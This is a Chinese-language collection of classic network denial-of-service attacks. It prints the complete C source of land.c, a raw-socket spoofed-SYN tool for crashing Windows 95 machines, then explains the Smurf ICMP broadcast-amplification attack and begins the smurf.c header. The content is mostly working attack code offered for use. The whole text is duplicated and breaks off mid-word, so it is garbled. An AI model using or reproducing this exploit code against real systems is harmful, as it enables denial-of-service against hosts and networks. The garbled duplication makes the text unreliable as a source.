Abstract
这里有一些是老的,现在看来并没有用,但他们都很有名。
1 Land
攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
己的同一个端口发起连接(发SYN),Win95即会崩溃。
/* land.c by m3lt, FLC
crashes a win95 box */
#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include < netinet/ip.h >
#include < netinet/tcp.h >
//用于TCP校验和的伪头
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
//计算IP校验和
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;
for(i=0;i<(length>>1);i++)
value+=data[i];
if((length&1)==1)
value+=(data[i]<<8);
value=(value&65535)+(value>>16);
return(~value);
}
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
char buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;
fprintf(stderr,"land.c by m3lt, FLC/n");
if(argc<3)
{
fprintf(stderr,"usage: %s IP port/n",argv[0]);
return(-1);
}
bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s/n",argv[1]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s/n",argv[2]);
return(-1);
}
//new一个SOCK—RAW以发伪造IP包 这需要root权限
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket/n");
return(-1);
}
bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(struct iphdr)/4;
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IP_TCP;
//目的IP地址和源IP地址相同
ipheader->saddr=sin.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;
//目的TCP端口和源TCPIP端口相同
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet/n");
return(-1);
}
fprintf(stderr,"%s:%s landed/n",argv[1],argv[2]);
close(sock);
return(0);
}
2 Smurf
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
的源地址)崩溃。
受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。
可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。
但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
成不可能(没有WINS服务器时)。
/*
*
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
*
* spoofs icmp packets from a host to various broadcast addresses resulting
* in multiple replies to that host from a single packet.
*
* mad head to:
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
* MissSatan for swallowing,&nb
这里有一些是老的,现在看来并没有用,但他们都很有名。
1 Land
攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
己的同一个端口发起连接(发SYN),Win95即会崩溃。
/* land.c by m3lt, FLC
crashes a win95 box */
#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include < netinet/ip.h >
#include < netinet/tcp.h >
//用于TCP校验和的伪头
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
//计算IP校验和
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;
for(i=0;i<(length>>1);i++)
value+=data[i];
if((length&1)==1)
value+=(data[i]<<8);
value=(value&65535)+(value>>16);
return(~value);
}
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
char buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;
fprintf(stderr,"land.c by m3lt, FLC/n");
if(argc<3)
{
fprintf(stderr,"usage: %s IP port/n",argv[0]);
return(-1);
}
bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s/n",argv[1]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s/n",argv[2]);
return(-1);
}
//new一个SOCK—RAW以发伪造IP包 这需要root权限
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket/n");
return(-1);
}
bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(struct iphdr)/4;
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IP_TCP;
//目的IP地址和源IP地址相同
ipheader->saddr=sin.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;
//目的TCP端口和源TCPIP端口相同
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet/n");
return(-1);
}
fprintf(stderr,"%s:%s landed/n",argv[1],argv[2]);
close(sock);
return(0);
}
2 Smurf
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
的源地址)崩溃。
受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。
可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。
但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
成不可能(没有WINS服务器时)。
/*
*
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
*
* spoofs icmp packets from a host to various broadcast addresses resulting
* in multiple replies to that host from a single packet.
*
* mad head to:
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
* MissSatan for swallowing,&nb